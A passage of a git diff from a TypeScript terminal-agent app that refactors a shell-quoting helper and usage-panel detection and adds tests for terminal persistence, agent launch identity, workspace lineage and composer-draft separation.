 const SETTLE_AFTER_CLAUDE_21_USAGE_MS = 8_000
 
-function shellQuote(value: string): string {
-  return `'${value.replace(/'/g, "'\\''")}'`
-}
-
-function describeClaudeUsageFailure(output: string): string {
-  if (RATE_LIMITED_RE.test(output)) {
-    return 'Claude usage is rate limited right now.'
-  }
-
-  if (LOAD_FAILED_RE.test(output)) {
-    return 'Claude usage is unavailable right now.'
-  }
-
-  if (CLAUDE_21_USAGE_TABS_RE.test(output) || CLAUDE_21_SESSION_STATS_RE.test(output)) {
-    return 'Claude plan usage is unavailable for this Claude CLI session.'
-  }
-
-  // Why: parser failures are an implementation detail of Orca's PTY fallback.
-  // The UI should explain the user-visible outcome, not leak internal parsing
-  // mechanics that the user cannot act on.
-  return 'Claude usage is unavailable right now.'
-}
-
-function abortedClaudeUsageResult(): ProviderRateLimits {
-  return {
-    provider: 'claude',
-    session: null,
-    weekly: null,
-    updatedAt: Date.now(),
-    error: 'Rate-limit fetch aborted',
-    status: 'error'
-  }
-}
-
 export async function fetchViaPty(options?: {
   authPreparation?: ClaudeRuntimeAuthPreparation
   networkProxySettings?: NetworkProxySettings
@@ -279,8 +104,10 @@ export async function fetchViaPty(options?: {
             // Why: hidden usage probes must not inherit a root-like WSL cwd;
             // keep Claude discovery bounded to a tiny temp directory.
             ...getHiddenRateLimitWslCwdSetupCommands(),
-            `export CLAUDE_CONFIG_DIR=${shellQuote(wslConfig.linuxConfigDir)}`,
-            ...Object.entries(proxyEnv).map(([key, value]) => `export ${key}=${shellQuote(value)}`),
+            `export CLAUDE_CONFIG_DIR=${quoteHiddenRateLimitShellValue(wslConfig.linuxConfigDir)}`,
+            ...Object.entries(proxyEnv).map(
+              ([key, value]) => `export ${key}=${quoteHiddenRateLimitShellValue(value)}`
+            ),
             'exec claude'
           ].join(' && ')
         ]
@@ -352,7 +179,7 @@ export async function fetchViaPty(options?: {
         cleanupHiddenRateLimitPty(term, termDisposables, { kill: true })
         // Even on timeout, try to parse whatever we collected
         const clean = stripTerminalControlSequences(output)
-        const { session, weekly, fableWeekly } = parsePtyUsage(clean)
+        const { session, weekly, fableWeekly } = parseClaudePtyUsage(clean)
         if (session || weekly || fableWeekly) {
           resolve({
             provider: 'claude',
@@ -370,7 +197,7 @@ export async function fetchViaPty(options?: {
             weekly: null,
             updatedAt: Date.now(),
             error: withMacTailscaleDnsHint(
-              CLAUDE_21_USAGE_TABS_RE.test(clean) || CLAUDE_21_SESSION_STATS_RE.test(clean)
+              isClaude21UsagePanel(clean)
                 ? describeClaudeUsageFailure(clean)
                 : 'PTY timeout — /usage panel did not render',
               clean
@@ -407,7 +234,7 @@ export async function fetchViaPty(options?: {
       cleanupHiddenRateLimitPty(term, termDisposables, { kill: true })
 
       const clean = stripTerminalControlSequences(output)
-      const { session, weekly, fableWeekly } = parsePtyUsage(clean)
+      const { session, weekly, fableWeekly } = parseClaudePtyUsage(clean)
 
       if (!session && !weekly && !fableWeekly) {
         resolve({
@@ -469,10 +296,7 @@ export async function fetchViaPty(options?: {
       // Check if we've hit a stop substring indicating the panel rendered
       if (sentUsage && !stopDetected) {
         const clean = stripTerminalControlSequences(output)
-        if (
-          !claude21UsageDetected &&
-          (CLAUDE_21_USAGE_TABS_RE.test(clean) || CLAUDE_21_SESSION_STATS_RE.test(clean))
-        ) {
+        if (!claude21UsageDetected && isClaude21UsagePanel(clean)) {
           claude21UsageDetected = true
           if (enterInterval) {
             clearInterval(enterInterval)
@@ -483,7 +307,7 @@ export async function fetchViaPty(options?: {
           // with a user-facing unavailable state instead of a false PTY timeout.
           claude21UsageSettleTimer = setTimeout(finalize, SETTLE_AFTER_CLAUDE_21_USAGE_MS)
         }
-        for (const sub of STOP_SUBSTRINGS) {
+        for (const sub of CLAUDE_USAGE_STOP_SUBSTRINGS) {
           if (clean.includes(sub)) {
             stopDetected = true
             // Why: 2.0s settle time after detecting the stop substring
@@ -508,7 +332,7 @@ export async function fetchViaPty(options?: {
           timeout = null
         }
         const clean = stripTerminalControlSequences(output)
-        const { session, weekly, fableWeekly } = parsePtyUsage(clean)
+        const { session, weekly, fableWeekly } = parseClaudePtyUsage(clean)
         resolve({
           provider: 'claude',
           session,
diff --git a/src/main/rate-limits/codex-fetcher.ts b/src/main/rate-limits/codex-fetcher.ts
index f3f3b078224..da2904d524e 100644
--- a/src/main/rate-limits/codex-fetcher.ts
+++ b/src/main/rate-limits/codex-fetcher.ts
@@ -37,6 +37,7 @@ import {
   getHiddenRateLimitWslCwdSetupCommands,
   resolveHiddenRateLimitPtyCwd
 } from './hidden-rate-limit-pty-cwd'
+import { quoteHiddenRateLimitShellValue } from './hidden-rate-limit-shell'
 
 const RPC_TIMEOUT_MS = 10_000
 const WSL_RPC_TIMEOUT_MS = 25_000
@@ -45,10 +46,6 @@ const WSL_RPC_INIT_TIMEOUT_MS = 40_000
 
 export type FetchCodexRateLimitsOptions = CodexRateLimitFetchOptions
 
-function shellQuote(value: string): string {
-  return `'${value.replace(/'/g, "'\\''")}'`
-}
-
 function buildWslCodexCommand(
   codexHomePath: string,
   args: string[],
@@ -60,9 +57,9 @@ function buildWslCodexCommand(
   }
   const setupCommands = [
     ...getHiddenRateLimitWslCwdSetupCommands(),
-    `export CODEX_HOME=${shellQuote(wslInfo.linuxPath)}`
+    `export CODEX_HOME=${quoteHiddenRateLimitShellValue(wslInfo.linuxPath)}`
   ].join(' && ')
-  const execSuffix = `${args.map(shellQuote).join(' ')}${
+  const execSuffix = `${args.map(quoteHiddenRateLimitShellValue).join(' ')}${
     isolateRpcStdio ? ' <&3 >&4 3<&- 4>&-' : ''
   }`
   const loginShellCommand = buildWslLoginShellCommand(
diff --git a/src/main/rate-limits/hidden-rate-limit-shell.ts b/src/main/rate-limits/hidden-rate-limit-shell.ts
new file mode 100644
index 00000000000..261f4519926
--- /dev/null
+++ b/src/main/rate-limits/hidden-rate-limit-shell.ts
@@ -0,0 +1,3 @@
+export function quoteHiddenRateLimitShellValue(value: string): string {
+  return `'${value.replace(/'/g, "'\\''")}'`
+}
diff --git a/src/main/runtime/agent-prompt-submission-verification.test.ts b/src/main/runtime/agent-prompt-submission-verification.test.ts
index 4a802df8d33..ec7c2b85378 100644
--- a/src/main/runtime/agent-prompt-submission-verification.test.ts
+++ b/src/main/runtime/agent-prompt-submission-verification.test.ts
@@ -4,6 +4,7 @@ import {
   AGENT_PROMPT_HOOK_EFFECT_TIMEOUT_MS,
   type AgentPromptActivity,
   isAgentPromptStalledError,
+  readAgentPromptWaitText,
   resolveAgentPromptEffectTimeoutMs,
   verifyAgentPromptSubmission
 } from './agent-prompt-submission-verification'
@@ -23,6 +24,17 @@ function activity(overrides: Partial<AgentPromptActivity> = {}): AgentPromptActi
 describe('agent prompt submission verification', () => {
   afterEach(() => vi.useRealTimers())
 
+  it('reuses wait text while the PTY output sequence is unchanged', () => {
+    const cache: { outputSequence?: number; waitText?: string } = {}
+    const readWaitText = vi.fn(() => 'retained terminal tail')
+
+    expect(readAgentPromptWaitText(cache, 7, readWaitText)).toBe('retained terminal tail')
+    expect(readAgentPromptWaitText(cache, 7, readWaitText)).toBe('retained terminal tail')
+    expect(readAgentPromptWaitText(cache, 8, readWaitText)).toBe('retained terminal tail')
+
+    expect(readWaitText).toHaveBeenCalledTimes(2)
+  })
+
   it('accepts an observed working transition', async () => {
     vi.useFakeTimers()
     let current = activity()
@@ -80,6 +92,21 @@ describe('agent prompt submission verification', () => {
     await rejected
   })
 
+  it('accepts a working transition after the former five-second deadline', async () => {
+    vi.useFakeTimers()
+    let current = activity()
+    const verification = verifyAgentPromptSubmission({
+      baseline: current,
+      readActivity: () => current
+    })
+
+    await vi.advanceTimersByTimeAsync(5_000)
+    current = activity({ workingSequence: 5, status: 'working' })
+    await vi.advanceTimersByTimeAsync(50)
+
+    await expect(verification).resolves.toBeUndefined()
+  })
+
   it('blocks when permission appears after submit', async () => {
     vi.useFakeTimers()
     let current = activity()
@@ -207,7 +234,7 @@ describe('agent prompt submission verification', () => {
     await rejected
   })
 
-  it('holds the longer hook window open past the default timeout', async () => {
+  it('holds the extended hook window open past the former hook timeout', async () => {
     vi.useFakeTimers()
     let current = activity()
     const verification = verifyAgentPromptSubmission({
@@ -216,7 +243,7 @@ describe('agent prompt submission verification', () => {
       timeoutMs: AGENT_PROMPT_HOOK_EFFECT_TIMEOUT_MS
     })
 
-    await vi.advanceTimersByTimeAsync(AGENT_PROMPT_EFFECT_TIMEOUT_MS + 1_000)
+    await vi.advanceTimersByTimeAsync(15_000 + 1_000)
     current = activity({ explicitWorkingStartedAt: 9_000, status: 'working' })
     await vi.advanceTimersByTimeAsync(50)
 
diff --git a/src/main/runtime/agent-prompt-submission-verification.ts b/src/main/runtime/agent-prompt-submission-verification.ts
index e8373bbaf1f..5bd1a622321 100644
--- a/src/main/runtime/agent-prompt-submission-verification.ts
+++ b/src/main/runtime/agent-prompt-submission-verification.ts
@@ -1,12 +1,8 @@
+export { AGENT_PROMPT_EFFECT_TIMEOUT_MS } from '../../shared/orchestration-timing-budgets'
+import { AGENT_PROMPT_EFFECT_TIMEOUT_MS } from '../../shared/orchestration-timing-budgets'
 import type { TuiAgent } from '../../shared/tui-agent'
 
-export const AGENT_PROMPT_EFFECT_TIMEOUT_MS = 5_000
-// Why: these panes prove a turn start only through the out-of-process hook — kimi has no synthetic
-// title profile and codex suppresses the hook-driven working frame (synthesizeWorkingTitle: false),
-// so the first proof lags Enter by agent startup, not by one TUI repaint. Capped so the worst case
-// (8s render gate + this wait + chunked paste) still fits RELAY_TO_CLIENT_REQUEST_TIMEOUT_MS
-// (30s, src/relay/dispatcher.ts), the budget a paired client's submission runs under.
-export const AGENT_PROMPT_HOOK_EFFECT_TIMEOUT_MS = 15_000
+export const AGENT_PROMPT_HOOK_EFFECT_TIMEOUT_MS = AGENT_PROMPT_EFFECT_TIMEOUT_MS
 const AGENT_PROMPT_EFFECT_POLL_MS = 50
 
 const HOOK_OBSERVED_TURN_START_AGENTS = new Set<TuiAgent>(['codex', 'kimi'])
@@ -26,6 +22,11 @@ export type AgentPromptActivity = Readonly<{
   status: 'working' | 'permission' | 'idle' | null
 }>
 
+export type AgentPromptWaitTextCache = {
+  outputSequence?: number
+  waitText?: string
+}
+
 type AgentPromptVerificationOptions = {
   baseline: AgentPromptActivity
   readActivity: () => AgentPromptActivity
@@ -51,6 +52,20 @@ export function isAgentPromptStalledError(error: unknown): boolean {
   )
 }
 
+export function readAgentPromptWaitText(
+  cache: AgentPromptWaitTextCache,
+  outputSequence: number,
+  readWaitText: () => string
+): string {
+  if (cache.outputSequence === outputSequence && cache.waitText !== undefined) {
+    return cache.waitText
+  }
+  const waitText = readWaitText()
+  cache.outputSequence = outputSequence
+  cache.waitText = waitText
+  return waitText
+}
+
 export async function verifyAgentPromptSubmission(
   options: AgentPromptVerificationOptions
 ): Promise<void> {
diff --git a/src/main/runtime/mobile-session-terminal-persistence-retirement.test.ts b/src/main/runtime/mobile-session-terminal-persistence-retirement.test.ts
index 42c1289d857..e1138ddd20e 100644
--- a/src/main/runtime/mobile-session-terminal-persistence-retirement.test.ts
+++ b/src/main/runtime/mobile-session-terminal-persistence-retirement.test.ts
@@ -295,6 +295,87 @@ describe('mobile session terminal persistence retirement', () => {
     expect(untrustedReplacement.terminalPtyIncarnationsByPaneKey).toBeUndefined()
   })
 
+  it('rebases a host partition that no longer carries the closed web-terminal layout', () => {
+    const tabId = 'web-terminal-24aa462c-589c-45fa-b332-6aa233cd84cf'
+    const prior = {
+      ...getDefaultWorkspaceSession(),
+      tabsByWorktree: {
+        [WORKTREE_ID]: [
+          {
+            id: tabId,
+            ptyId: 'pty-worker',
+            worktreeId: WORKTREE_ID,
+            title: 'Worker',
+            customTitle: null,
+            color: null,
+            sortOrder: 0,
+            createdAt: 1
+          }
+        ]
+      },
+      terminalLayoutsByTabId: {
+        [tabId]: {
+          root: { type: 'leaf' as const, leafId: 'worker' },
+          activeLeafId: 'worker',
+          expandedLeafId: null,
+          ptyIdsByLeafId: { worker: 'pty-worker' }
+        }
+      },
+      terminalTopologyRevisionByRepoId: { [REPO_ID]: 1 }
+    }
+    const incoming = {
+      ...getDefaultWorkspaceSession(),
+      tabsByWorktree: { [WORKTREE_ID]: [] }
+    }
+    const partialIncoming: Partial<typeof incoming> = incoming
+    delete partialIncoming.terminalLayoutsByTabId
+
+    const result = sanitizeWorkspaceSessionTerminalRetirements(incoming, prior)
+
+    expect(result.tabsByWorktree[WORKTREE_ID]).toEqual(prior.tabsByWorktree[WORKTREE_ID])
+    expect(result.terminalLayoutsByTabId[tabId]).toEqual(prior.terminalLayoutsByTabId[tabId])
+  })
+
+  it('replays a legacy retirement when its host partition omits terminal layouts', () => {
+    const tabId = 'web-terminal-24aa462c-589c-45fa-b332-6aa233cd84cf'
+    const incoming = {
+      ...getDefaultWorkspaceSession(),
+      tabsByWorktree: {
+        [WORKTREE_ID]: [
+          {
+            id: tabId,
+            ptyId: 'pty-worker',
+            worktreeId: WORKTREE_ID,
+            title: 'Worker',
+            customTitle: null,
+            color: null,
+            sortOrder: 0,
+            createdAt: 1
+          }
+        ]
+      },
+      terminalSurfaceTombstonesByPaneKey: {
+        [`${tabId}:worker`]: {
+          worktreeId: WORKTREE_ID,
+          parentTabId: tabId,
+          leafId: 'worker',
+          ptyId: 'pty-worker',
+          incarnationId: 'incarnation-worker',
+          retiredAt: 42
+        }
+      }
+    }
+    const partialIncoming: Partial<typeof incoming> = incoming
+    delete partialIncoming.terminalLayoutsByTabId
+
+    const result = sanitizeWorkspaceSessionTerminalRetirements(incoming, undefined)
+
+    expect(result.tabsByWorktree[WORKTREE_ID]).toEqual([])
+    expect(result.terminalLayoutsByTabId).toEqual({})
+    expect(result.terminalSurfaceTombstonesByPaneKey).toEqual({})
+    expect(result.terminalTopologyRevisionByRepoId).toEqual({ [REPO_ID]: 1 })
+  })
+
   it('migrates legacy tombstones into one repo watermark', () => {
     const stale = {
       ...getDefaultWorkspaceSession(),
diff --git a/src/main/runtime/mobile-session-terminal-persistence-retirement.ts b/src/main/runtime/mobile-session-terminal-persistence-retirement.ts
index e94155f342c..f08c9a4a705 100644
--- a/src/main/runtime/mobile-session-terminal-persistence-retirement.ts
+++ b/src/main/runtime/mobile-session-terminal-persistence-retirement.ts
@@ -72,7 +72,7 @@ export function retireTerminalSurfaceFromPersistence(
   }
   const persistedTabs = session.tabsByWorktree[surface.worktreeId] ?? []
   const persistedTab = persistedTabs.find((tab) => tab.id === surface.parentTabId)
-  const layout = session.terminalLayoutsByTabId[surface.parentTabId]
+  const layout = session.terminalLayoutsByTabId?.[surface.parentTabId]
   const exactLeafInLayout = Boolean(layout && layoutContainsLeaf(layout.root, surface.leafId))
   const leafPtyId = exactLeafInLayout ? layout?.ptyIdsByLeafId?.[surface.leafId] : undefined
   if (leafPtyId && leafPtyId !== surface.ptyId) {
diff --git a/src/main/runtime/orca-runtime-hook-agent-status-projection.test.ts b/src/main/runtime/orca-runtime-hook-agent-status-projection.test.ts
index 11b9fc97afd..f8171862728 100644
--- a/src/main/runtime/orca-runtime-hook-agent-status-projection.test.ts
+++ b/src/main/runtime/orca-runtime-hook-agent-status-projection.test.ts
@@ -61,7 +61,8 @@ async function createRuntimeWithHookRows(
   rows: AgentStatusIpcPayload[]
 ): Promise<OrcaRuntimeService> {
   const runtime = new OrcaRuntimeService(null, undefined, {
-    getAgentStatusSnapshot: () => rows
+    getAgentStatusSnapshot: () => rows,
+    getAgentProviderSessionRowsForPane: () => rows
   })
   const internals = runtime as unknown as {
     resolveTerminalWorkspaceLaunchScope: (selector: string) => Promise<unknown>
@@ -115,6 +116,22 @@ function lastOscTitleEpochMs(runtime: OrcaRuntimeService): number {
 }
 
 describe('headless hook agent-status projection (#11761)', () => {
+  it('ranks a completed hook below present launch evidence in terminal identity', async () => {
+    const runtime = await createRuntimeWithHookRows([
+      hookRow({
+        agentType: 'codex',
+        state: 'done',
+        prompt: '',
+        toolName: undefined,
+        interactivePrompt: undefined
+      })
+    ])
+
+    expect((await runtime.listTerminals()).terminals).toEqual([
+      expect.objectContaining({ agentIdentity: 'claude' })
+    ])
+  })
+
   it('carries the hook state, tool and interactivePrompt to paired clients', async () => {
     const agentStatus = await projectAgentStatus([hookRow()])
 
diff --git a/src/main/runtime/orca-runtime-provider-reattach-launch-identity.test.ts b/src/main/runtime/orca-runtime-provider-reattach-launch-identity.test.ts
new file mode 100644
index 00000000000..a463dd75cf4
--- /dev/null
+++ b/src/main/runtime/orca-runtime-provider-reattach-launch-identity.test.ts
@@ -0,0 +1,100 @@
+import { describe, expect, it, vi } from 'vitest'
+import { makePaneKey } from '../../shared/stable-pane-id'
+import { OrcaRuntimeService } from './orca-runtime'
+
+vi.mock('electron', () => ({
+  app: { getPath: vi.fn(() => '/tmp'), isPackaged: false },
+  BrowserWindow: { fromId: vi.fn(() => null) },
+  ipcMain: { on: vi.fn(), removeListener: vi.fn() },
+  webContents: { fromId: vi.fn(() => null) }
+}))
+
+const TAB_ID = '11111111-1111-4111-8111-111111111111'
+const LEAF_ID = '22222222-2222-4222-8222-222222222222'
+const PANE_KEY = makePaneKey(TAB_ID, LEAF_ID)
+const INCARNATION_ID = 'provider-reattach-incarnation'
+const WORKTREE_ID = 'repo-1::/tmp/provider-reattach'
+
+type RuntimePtyLaunchIdentity = {
+  incarnationId: string | null
+  paneKey: string | null
+  launchAgent: string | null
+  launchToken: string | null
+  launchIncarnationId: string | null
+}
+
+function getPty(runtime: OrcaRuntimeService, ptyId: string): RuntimePtyLaunchIdentity | undefined {
+  return (runtime as unknown as { ptysById: Map<string, RuntimePtyLaunchIdentity> }).ptysById.get(
+    ptyId
+  )
+}
+
+describe('provider reattach launch identity', () => {
+  it('restores daemon-owned agent identity without minting renderer authority', () => {
+    const runtime = new OrcaRuntimeService(null)
+
+    runtime.registerPty('pty-reattach', WORKTREE_ID, null, {
+      tabId: TAB_ID,
+      leafId: LEAF_ID,
+      incarnationId: INCARNATION_ID,
+      providerReattachLaunchIdentity: {
+        incarnationId: INCARNATION_ID,
+        launchAgent: 'codex'
+      }
+    })
+
+    expect(getPty(runtime, 'pty-reattach')).toMatchObject({
+      incarnationId: INCARNATION_ID,
+      paneKey: PANE_KEY,
+      launchAgent: 'codex',
+      launchToken: null,
+      launchIncarnationId: null
+    })
+  })
+
+  it('rejects provider identity from a different process incarnation', () => {
+    const runtime = new OrcaRuntimeService(null)
+
+    runtime.registerPty('pty-mismatched-reattach', WORKTREE_ID, null, {
+      tabId: TAB_ID,
+      leafId: LEAF_ID,
+      incarnationId: INCARNATION_ID,
+      providerReattachLaunchIdentity: {
+        incarnationId: 'stale-provider-incarnation',
+        launchAgent: 'codex'
+      }
+    })
+
+    expect(getPty(runtime, 'pty-mismatched-reattach')).toMatchObject({
+      incarnationId: INCARNATION_ID,
+      paneKey: PANE_KEY,
+      launchAgent: null,
+      launchToken: null,
+      launchIncarnationId: null
+    })
+  })
+
+  it('retires daemon launch identity when the agent command finishes', () => {
+    const runtime = new OrcaRuntimeService(null)
+
+    runtime.registerPty('pty-finished-reattach', WORKTREE_ID, null, {
+      tabId: TAB_ID,
+      leafId: LEAF_ID,
+      incarnationId: INCARNATION_ID,
+      providerReattachLaunchIdentity: {
+        incarnationId: INCARNATION_ID,
+        launchAgent: 'codex'
+      }
+    })
+    runtime.emitDaemonPtyTransientFact('pty-finished-reattach', {
+      kind: 'command-finished',
+      exitCode: 0
+    })
+
+    expect(getPty(runtime, 'pty-finished-reattach')).toMatchObject({
+      launchAgent: null,
+      launchToken: null,
+      launchIncarnationId: null
+    })
+  })
+})
diff --git a/src/main/runtime/orca-runtime.test.ts b/src/main/runtime/orca-runtime.test.ts
index 40c9eafd621..4f02816f1c5 100644
--- a/src/main/runtime/orca-runtime.test.ts
+++ b/src/main/runtime/orca-runtime.test.ts
@@ -2098,6 +2098,7 @@ describe('OrcaRuntimeService', () => {
     expect(status.capabilities).toContain('mobile.tasks.v1')
     expect(status.capabilities).toContain('terminal.quick-commands.v1')
     expect(status.capabilities).toContain('worktree.create-idempotency.v1')
+    expect(status.worktreeCreateIdempotency).toEqual({ dedupeTtlMs: 60_000 })
     expect(status.capabilities).toContain('files.mutation-ownership.v1')
     expect(status.capabilities).toContain('project-host-setup.v1')
     expect(status.capabilities).toContain('linear.issue-attribute-filter.v1')
@@ -6468,6 +6469,52 @@ describe('OrcaRuntimeService', () => {
     }
   })
 
+  // Why: the desktop composer sends `parentWorkspace` too, and a bare selector defaults to CLI
+  // provenance — the same user action must not carry different cleanup semantics per host.
+  it('records an app-selected parent workspace as a manual action', async () => {
+    vi.mocked(addWorktree).mockClear()
+    const created = {
+      path: '/tmp/workspaces/manual-child',
+      head: 'def',
+      branch: 'refs/heads/manual-child',
+      isBare: false,
+      isMainWorktree: false
+    }
+    const childId = `${TEST_REPO_ID}::${created.path}`
+    const metaById: Record<string, WorktreeMeta> = {}
+    const runtimeStore = {
+      ...createFolderWorkspaceRuntimeStore(),
+      getAllWorktreeMeta: () => metaById,
+      getWorktreeMeta: (worktreeId: string) => metaById[worktreeId],
+      setWorktreeMeta: (worktreeId: string, meta: Partial<WorktreeMeta>) => {
+        metaById[worktreeId] = { ...(metaById[worktreeId] ?? makeWorktreeMeta()), ...meta }
+        return metaById[worktreeId]
+      },
+      setWorkspaceLineage: vi.fn((lineage: WorkspaceLineage) => lineage)
+    }
+    computeWorktreePathMock.mockReturnValue(created.path)
+    ensurePathWithinWorkspaceMock.mockImplementation((pathValue: string) => pathValue)
+    vi.mocked(listWorktrees).mockResolvedValueOnce([created])
+    const runtime = new OrcaRuntimeService(runtimeStore as never)
+
+    const result = await runtime.createManagedWorktree({
+      repoSelector: TEST_REPO_ID,
+      name: 'manual-child',
+      baseBranch: 'origin/main',
+      lineage: {
+        parentWorkspace: TEST_FOLDER_WORKSPACE_KEY,
+        parentWorkspaceOrigin: 'manual'
+      }
+    })
+
+    expect(result.workspaceLineage).toMatchObject({
+      childWorkspaceKey: `worktree:${childId}`,
+      parentWorkspaceKey: TEST_FOLDER_WORKSPACE_KEY,
+      origin: 'manual',
+      capture: { source: 'active-workspace', confidence: 'explicit' }
+    })
+  })
+
   it('records folder workspace lineage inferred from environment context', async () => {
     vi.mocked(addWorktree).mockClear()
     const created = {
@@ -13769,6 +13816,7 @@ describe('OrcaRuntimeService', () => {
 
     const terminal = await runtime.createTerminal(`path:${TEST_WORKTREE_PATH}`, {
       command: 'codex',
+      launchAgent: 'codex',
       launchConfig: { agentCommand: 'codex', agentArgs: '', agentEnv: {} }
     })
     const spawnEnv =
@@ -13785,6 +13833,9 @@ describe('OrcaRuntimeService', () => {
         launchToken: spawnEnv.ORCA_AGENT_LAUNCH_TOKEN
       })
     ).toBeDefined()
+    expect((await runtime.listTerminals()).terminals).toEqual([
+      expect.objectContaining({ handle: terminal.handle, agentIdentity: 'codex' })
+    ])
 
     runtime.onPtyData('pty-authority', '\x1b]133;D;0\x07', 100)
 
@@ -13795,6 +13846,9 @@ describe('OrcaRuntimeService', () => {
         launchToken: spawnEnv.ORCA_AGENT_LAUNCH_TOKEN
       })
     ).toBeUndefined()
+    expect((await runtime.listTerminals()).terminals).toEqual([
+      expect.not.objectContaining({ agentIdentity: expect.anything() })
+    ])
   })
 
   it('retires only receipted restored PTY authority on command completion and exit', () => {
@@ -19354,6 +19408,97 @@ describe('OrcaRuntimeService', () => {
     })
   })
 
+  it('separates composer draft text from rendered terminal output', async () => {
+    const runtime = new OrcaRuntimeService(store)
+    runtime.setPtyController({
+      write: () => true,
+      kill: () => true,
+      getForegroundProcess: async () => null,
+      hasRendererSerializer: () => false
+    })
+    syncSinglePty(runtime)
+    runtime.onPtyData(
+      'pty-1',
+      '\x1b[?1049hBuild passed\r\n────────\r\n❯ \x1b[2mproceed with the release\r\n  and close the pull request\x1b[22m\x1b[1A\x1b[3G',
+      100
+    )
+    const [terminal] = (await runtime.listTerminals()).terminals
+
+    const read = await runtime.readTerminal(terminal.handle)
+
+    expect(read).toMatchObject({
+      source: 'screen',
+      tail: ['Build passed', '────────', '❯'],
+      draft: 'proceed with the release\nand close the pull request'
+    })
+  })
+
+  it('keeps renderer-fallback composer drafts separate from terminal output', async () => {
+    const serializeBuffer = vi.fn().mockResolvedValue({
+      data: '\x1b[?1049hBuild passed\r\n────────\r\n❯ \x1b[2mproceed with the release\x1b[22m\x1b[3G',
+      cols: 80,
+      rows: 24
+    })
+    const runtime = new OrcaRuntimeService(store)
+    runtime.setPtyController({
+      write: () => true,
+      kill: () => true,
+      getForegroundProcess: async () => null,
+      hasRendererSerializer: () => true,
+      serializeBuffer
+    })
+    syncSinglePty(runtime)
+    runtime.onPtyData('pty-1', `${Array.from({ length: 3000 }, () => '').join('\n')}\n`, 100)
+    const [terminal] = (await runtime.listTerminals()).terminals
+
+    const read = await runtime.readTerminal(terminal.handle)
+
+    expect(read).toMatchObject({
+      source: 'screen',
+      tail: ['Build passed', '────────', '❯'],
+      draft: 'proceed with the release'
+    })
+    expect(serializeBuffer).toHaveBeenCalledWith('pty-1', {
+      scrollbackRows: 0,
+      altScreenForcesZeroRows: false
+    })
+  })
+
+  it('separates composer drafts from provider-owned terminal screens', async () => {
+    const serializeProviderBuffer = vi.fn().mockResolvedValue({
+      data: '\x1b[?1049hBuild passed\r\n────────\r\n❯ \x1b[2mproceed with the release\x1b[22m\x1b[3G',
+      cols: 80,
+      rows: 24,
+      seq: 900,
+      source: 'headless',
+      alternateScreen: true
+    })
+    const runtime = new OrcaRuntimeService(store)
+    runtime.setPtyController({
+      write: () => true,
+      kill: () => true,
+      getForegroundProcess: async () => null,
+      serializeProviderBuffer,
+      hasRendererSerializer: () => false
+    })
+    syncSinglePty(runtime)
+    runtime.synchronizePtyOutputSequenceFromProvider(
+      'pty-1',
+      { value: 900, generation: 'continued' },
+      0
+    )
+    const [terminal] = (await runtime.listTerminals()).terminals
+
+    const read = await runtime.readTerminal(terminal.handle)
+
+    expect(read).toMatchObject({
+      source: 'screen',
+      tail: ['Build passed', '────────', '❯'],
+      draft: 'proceed with the release'
+    })
+    expect(serializeProviderBuffer).toHaveBeenCalledOnce()
+  })
+
   it('does not use renderer visible-screen fallback for cursor transcript reads', async () => {
     const serializeBuffer = vi.fn().mockResolvedValue({
       data: 'Visible TUI\n',
diff --git a/src/main/runtime/orca-runtime.ts b/src/main/runtime/orca-runtime.ts
index f83e5e777e4..8f30d27c3ba 100644
--- a/src/main/runtime/orca-runtime.ts
+++ b/src/main/runtime/orca-runtime.ts
@@ -27,6 +27,7 @@ import type { AgentStatus } from '../../shared/agent-detection'
 import type { TerminalOscLinkRange } from '../../shared/terminal-osc-link-ranges'
 import type { TerminalOscColorQueryReplyColors } from '../../shared/terminal-osc-color-reply'
 import type { TerminalOutputSourceRange } from '../../shared/terminal-output-source-range'
+import { detectTerminalComposerDraft } from '../../shared/terminal-composer-draft'
 import type {
   RemoteTerminalSourceRangeConsumerHooks,
   RemoteTerminalSourceRangeReplacementPublication,
@@ -106,6 +107,8 @@ import {
 } from '../../shared/agent-prompt-injection'
 import {
   type AgentPromptActivity,
+  type AgentPromptWaitTextCache,
+  readAgentPromptWaitText,
   resolveAgentPromptEffectTimeoutMs,
   verifyAgentPromptSubmission
 } from './agent-prompt-submission-verification'
@@ -344,6 +347,7 @@ import type {
   TerminalPaneLayoutNode,
   TerminalTab
 } from '../../shared/terminal-tab-types'
+import { resolvePublishedPaneAgentIdentity } from '../../shared/published-pane-agent-identity'
 import type { TuiAgent } from '../../shared/tui-agent'
 import type { BranchPrefixStrategy } from '../../shared/ui-chrome-types'
 import type { WorkspaceSessionState } from '../../shared/workspace-session-state-types'
@@ -538,11 +542,11 @@ import {
   splitWorktreeIdForFilesystem,
   worktreeIdComparisonKey
 } from '../../shared/worktree/id'
+import { getProjectIdForProviderIdentity } from '../../shared/project-host-setup-projection'
 import {
-  getProjectIdForProviderIdentity,
   getProjectHostSetupForRepo,
   getProjectHostSetupWorktreeMeta
-} from '../../shared/project-host-setup-projection'
+} from '../../shared/project-host-setup-lookup'
 import { parsePtySessionId } from '../../shared/pty-session-id-format'
 import { clampLinearIssueListLimit } from '../../shared/linear/issue-read-limits'
 import { isFolderRepo } from '../../shared/repo-kind'
@@ -918,6 +922,7 @@ import {
   type RepoWorktreeRowDeps
 } from './repo-worktree-row-resolution'
 import { getRepoOwnedWorktreeMeta } from '../worktree-metadata-ownership'
+import { readWorktreeMetaForHost } from '../persistence/host-qualified-worktree-meta'
 import { withTimeout } from '../../shared/promise-timeout-fallback'
 import {
   getLocalWorktreePathAccess,
@@ -937,25 +942,31 @@ import {
   testConnection as testLinearConnection
 } from '../linear/client'
 import {
-  addIssueComment as addLinearIssueComment,
-  addIssueCommentForAgent as addLinearIssueCommentForAgent,
-  createIssueAttachment as createLinearIssueAttachment,
-  createIssueForAgent as createLinearIssueForAgent,
-  createIssue as createLinearIssue,
   getAttachmentByUuidForAgent as getLinearAttachmentByUuidForAgent,
   getCommentByUuidForAgent as getLinearCommentByUuidForAgent,
   getIssue as getLinearIssue,
   getIssueByUuidForAgent as getLinearIssueByUuidForAgent,
   getIssueCommentThreadRoot as getLinearIssueCommentThreadRoot,
-  getIssueComments as getLinearIssueComments,
+  searchIssues as searchLinearIssues
+} from '../linear/linear-issue-lookups'
+import {
   listIssues as listLinearIssues,
-  searchIssues as searchLinearIssues,
+  type LinearListFilter
+} from '../linear/linear-issue-listing'
+import {
+  createIssueForAgent as createLinearIssueForAgent,
+  createIssue as createLinearIssue,
   updateIssueForAgent as updateLinearIssueForAgent,
-  updateIssue as updateLinearIssue,
-  LinearWriteFailure,
-  type LinearListFilter,
-  type LinearIssueListOptions
